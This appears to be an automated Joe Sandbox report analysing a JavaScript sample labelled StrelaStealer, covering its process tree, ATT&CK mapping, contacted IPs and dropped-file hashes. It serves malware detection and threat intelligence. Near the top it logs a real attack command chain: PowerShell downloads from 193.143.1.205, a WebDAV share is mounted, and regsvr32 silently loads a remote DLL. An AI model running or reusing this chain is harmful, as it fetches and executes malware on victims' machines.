Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
340651472865228929.js	3%	Virustotal		Browse
340651472865228929.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/y	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/y	net.exe, 0000000C.00000002.1322911374.0000021545EDC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000F.00000003.1322142700.000002049C900000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	false		high
http://crl.ver)	svchost.exe, 0000000F.00000002.2545195307.000002049CA00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.13.dr	false		high
https://www.adobe.co	ReaderMessages.10.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.15.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 0000000C.00000002.1322911374.0000021545EA8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 0000000C.00000002.1322911374.0000021545EDC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1322911374.0000021545EA8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1322911374.0000021545EF9000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588317
Start date and time:	2025-01-10 23:54:41 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	340651472865228929.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/60@4/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 34.237.241.83, 50.16.47.176, 54.224.241.105, 18.213.11.84, 162.159.61.3, 172.64.41.3, 2.23.242.162, 199.232.214.172, 2.16.168.107, 2.16.168.105, 23.209.209.135, 23.40.179.29, 23.40.179.24, 23.40.179.30, 23.40.179.45, 23.40.179.31, 23.40.179.35, 23.40.179.25, 23.40.179.36, 23.40.179.38, 13.107.246.45, 20.12.23.50, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
17:55:37	API Interceptor	22x Sleep call for process: powershell.exe modified
17:55:41	API Interceptor	1x Sleep call for process: net.exe modified
17:55:41	API Interceptor	2x Sleep call for process: svchost.exe modified
17:55:54	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1957514819973625739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17231147702223410654.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16981299741734811290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	8058323181786520440.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	26448249042746730897.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	17231147702223410654.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	8058323181786520440.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	631311201545628497.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	215842497016059950.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	507722252877028578.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1957514819973625739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17231147702223410654.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28137108151929013281.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16981299741734811290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	8058323181786520440.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26448249042746730897.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.706697510047799
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vqf:2JIB/wUKUKQncEmYRTwh0j
MD5:	3DF27A5DA9783A9805C8BF6C66858C14
SHA1:	37632E9009419DB9599F5C58EB603B032A36E02A
SHA-256:	D6EA14C19016AF8D4DAC81384818F199985C2DE7D044BCB083BC10E7F9B49191
SHA-512:	356D29EFD63AE675D89B920445F9C023D706B8669CAE1DEC3512C679B7119BC7BA0B28EAE5960AB1192D7163C0AF031C2EFF81D5995DE07D00081652BE19DA2F
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x3cabab4d, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899659170735521
Encrypted:	false
SSDEEP:	1536:LSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:LazaPvgurTd42UgSii
MD5:	55A15EE0745AA72AD609F37969F213BD
SHA1:	5B50A810AF1C19808D9994BA0E95C8D88565CC53
SHA-256:	7332B621A150A8C672A7F0CEAD616A38D8775BC3E57C2E1BDE09464F5AE617E8
SHA-512:	FCF6F7D0E19E10AAEF39A6CC36CB4D47AB0B4BAC4D4831AFA0F494534ACCE7C8B6FF7E8C754007B6D262F1B225262C5499C0B8A0013BA3B9B60196436E4FBCE0
Malicious:	false
Preview:	<..M... ...............X\...;...{......................0.`.....42...{5.7...}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{.....................................7...}....................O*7...}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0804107925702841
Encrypted:	false
SSDEEP:	3:BalKYe4AJs/1t/57Dek3JUrDKXllallEqW3l/TjzzQ/t:kKz+/HR3tuDKXlAmd8/
MD5:	FD81E896A911303D6AC818A681055D40
SHA1:	B0828FF00FC2C00E14DE1719DE8E5F512F36867B
SHA-256:	9C4161CDD2A1324C45F9694891BC04C3BD612F123F50A374BC8CED1CE21714B1
SHA-512:	7C79291EA317E8C453FCFFFF62CD9454297C2EFA015EBE3F8580BC2B90E3ABC8BE228D877E463A06BE257DE7B06C4C3A7FC5F7CDC09A7FD2D9E0AEC59DA6816A
Malicious:	false
Preview:	...4.....................................;...{..7...}..42...{5.........42...{5.42...{5...Y.42...{59..................O7...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.252311708720372
Encrypted:	false
SSDEEP:	6:iO439+q2PcNwi2nKuAl9OmbnIFUtSyzJZmwsyz9VkwOcNwi2nKuAl9OmbjLJ:7s4vLZHAahFUt7zJ/NzD54ZHAaSJ
MD5:	DCF16703DCE45A7EA3F18A64B7D05403
SHA1:	CE84603B1497D2850C753E7E60E85504CFF26B79
SHA-256:	7506CB7D97452AE4A9B6D25E43E1D51FF66E25F28D7683607AB24CDB6A188EE9
SHA-512:	F4BD104361138B893E4DC06568A844C20D3FF1CDE4D1740EF197FCC8B751A1ED3543C805D61F05C1DC1E48ECC60A45D27B56B5C9BD0BF5DA03FBF69E58F42F61
Malicious:	false
Preview:	2025/01/10-17:55:41.372 1c68 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:55:41.375 1c68 Recovering log #3.2025/01/10-17:55:41.375 1c68 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.252311708720372
Encrypted:	false
SSDEEP:	6:iO439+q2PcNwi2nKuAl9OmbnIFUtSyzJZmwsyz9VkwOcNwi2nKuAl9OmbjLJ:7s4vLZHAahFUt7zJ/NzD54ZHAaSJ
MD5:	DCF16703DCE45A7EA3F18A64B7D05403
SHA1:	CE84603B1497D2850C753E7E60E85504CFF26B79
SHA-256:	7506CB7D97452AE4A9B6D25E43E1D51FF66E25F28D7683607AB24CDB6A188EE9
SHA-512:	F4BD104361138B893E4DC06568A844C20D3FF1CDE4D1740EF197FCC8B751A1ED3543C805D61F05C1DC1E48ECC60A45D27B56B5C9BD0BF5DA03FBF69E58F42F61
Malicious:	false
Preview:	2025/01/10-17:55:41.372 1c68 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:55:41.375 1c68 Recovering log #3.2025/01/10-17:55:41.375 1c68 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.200291065177822
Encrypted:	false
SSDEEP:	6:iO45dc9+q2PcNwi2nKuAl9Ombzo2jMGIFUtS5d+hJZmws5dx9VkwOcNwi2nKuAlx:7L4vLZHAa8uFUt3J/+D54ZHAa8RJ
MD5:	7580469E108F80CA90D75BF1B287BFFA
SHA1:	612D4EFD929EC919DD45F688F17B1E3FC9DC2AB9
SHA-256:	A14A75C4648D13EC3015F483DFF49E60F2F470B01C75736EA1AF6578D8DA1052
SHA-512:	F0FE336C7215416EE8C37D5CCE276E384524D74203BAFF8E7521D158A3FF528B88F6C29AB51CBA5EAF8F2FDC49DA99CCD4E0FB8D36FC05F0C4568F94997F1050
Malicious:	false
Preview:	2025/01/10-17:55:41.880 1db8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:55:41.882 1db8 Recovering log #3.2025/01/10-17:55:41.883 1db8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.200291065177822
Encrypted:	false
SSDEEP:	6:iO45dc9+q2PcNwi2nKuAl9Ombzo2jMGIFUtS5d+hJZmws5dx9VkwOcNwi2nKuAlx:7L4vLZHAa8uFUt3J/+D54ZHAa8RJ
MD5:	7580469E108F80CA90D75BF1B287BFFA
SHA1:	612D4EFD929EC919DD45F688F17B1E3FC9DC2AB9
SHA-256:	A14A75C4648D13EC3015F483DFF49E60F2F470B01C75736EA1AF6578D8DA1052
SHA-512:	F0FE336C7215416EE8C37D5CCE276E384524D74203BAFF8E7521D158A3FF528B88F6C29AB51CBA5EAF8F2FDC49DA99CCD4E0FB8D36FC05F0C4568F94997F1050
Malicious:	false
Preview:	2025/01/10-17:55:41.880 1db8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:55:41.882 1db8 Recovering log #3.2025/01/10-17:55:41.883 1db8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\026932b7-c7ec-4ddd-9dfd-73b982d28763.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9651693442258535
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq72chsBdOg2Hxcaq3QYiubSpDyP7E4TX:Y2sRdsXcydMHI3QYhbSpDa7n7
MD5:	0CFB227E1E8B684E27C3BB5731180D49
SHA1:	23E3EA6DBE8FA5714CF5690DCA52F22BCFE4253A
SHA-256:	855778628EC4F8275F0F5870A75A3E194FB83668D57AE0304B3805BECB02DC83
SHA-512:	DAD9789A264F398237D57E84DFB748BC3A620A38BBEFAF29F9602427B8707A89618EE47C454BBCA08FC9FC09D2D0092C6815C3A1DA7E6D3F32107CEF12DD93D7
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381109753794903","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":153312},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.9651693442258535
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq72chsBdOg2Hxcaq3QYiubSpDyP7E4TX:Y2sRdsXcydMHI3QYhbSpDa7n7
MD5:	0CFB227E1E8B684E27C3BB5731180D49
SHA1:	23E3EA6DBE8FA5714CF5690DCA52F22BCFE4253A
SHA-256:	855778628EC4F8275F0F5870A75A3E194FB83668D57AE0304B3805BECB02DC83
SHA-512:	DAD9789A264F398237D57E84DFB748BC3A620A38BBEFAF29F9602427B8707A89618EE47C454BBCA08FC9FC09D2D0092C6815C3A1DA7E6D3F32107CEF12DD93D7
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381109753794903","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":153312},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.2343809395005465
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPDpTj5:CwNw1GHqPySfkcigoO3h28ytPDpTj5
MD5:	1603BFCBB599CC40848804A11D127697
SHA1:	94E3A2BC524DB1E5B75E54E46AE6BDCC4A749FD9
SHA-256:	0955B4A0AA28AF184F48AA53A254756520E86C2C8AD366CFD8F0DDC8A5B885BE
SHA-512:	D17B2AF21084A54BA2D0D0B57757BA5A1288C2871616618101891AB14A4D7EA32AE2768C6B796664AE9965E697A2F51D394540A24223F78EE30ADBE62D1C8A38
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.213029377482049
Encrypted:	false
SSDEEP:	6:iO4SV69+q2PcNwi2nKuAl9OmbzNMxIFUtSSViJZmwsSVWy9VkwOcNwi2nKuAl9Ob:7z64vLZHAa8jFUttiJ/vWyD54ZHAa84J
MD5:	287673FFB3CE22EDC3018720BA08940B
SHA1:	AAA81C3A5E81F9CDBDD5B9C536F39A064108A7A2
SHA-256:	DB8BC8D9659CA51E54D0C1FD8E70A52A7C545C7CFA02E113C8ECDCB5C9A40183
SHA-512:	02C619E6F2EE71B77CBD262567DAAF12302A0A160D6361CE5FEEA4D5FED582E342FF26A1A667D102FBB85DE14D81C368E647877BBE612928245CBD4973BB55F1
Malicious:	false
Preview:	2025/01/10-17:55:42.079 1db8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:55:42.080 1db8 Recovering log #3.2025/01/10-17:55:42.081 1db8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.213029377482049
Encrypted:	false
SSDEEP:	6:iO4SV69+q2PcNwi2nKuAl9OmbzNMxIFUtSSViJZmwsSVWy9VkwOcNwi2nKuAl9Ob:7z64vLZHAa8jFUttiJ/vWyD54ZHAa84J
MD5:	287673FFB3CE22EDC3018720BA08940B
SHA1:	AAA81C3A5E81F9CDBDD5B9C536F39A064108A7A2
SHA-256:	DB8BC8D9659CA51E54D0C1FD8E70A52A7C545C7CFA02E113C8ECDCB5C9A40183
SHA-512:	02C619E6F2EE71B77CBD262567DAAF12302A0A160D6361CE5FEEA4D5FED582E342FF26A1A667D102FBB85DE14D81C368E647877BBE612928245CBD4973BB55F1
Malicious:	false
Preview:	2025/01/10-17:55:42.079 1db8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:55:42.080 1db8 Recovering log #3.2025/01/10-17:55:42.081 1db8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4388195154204855
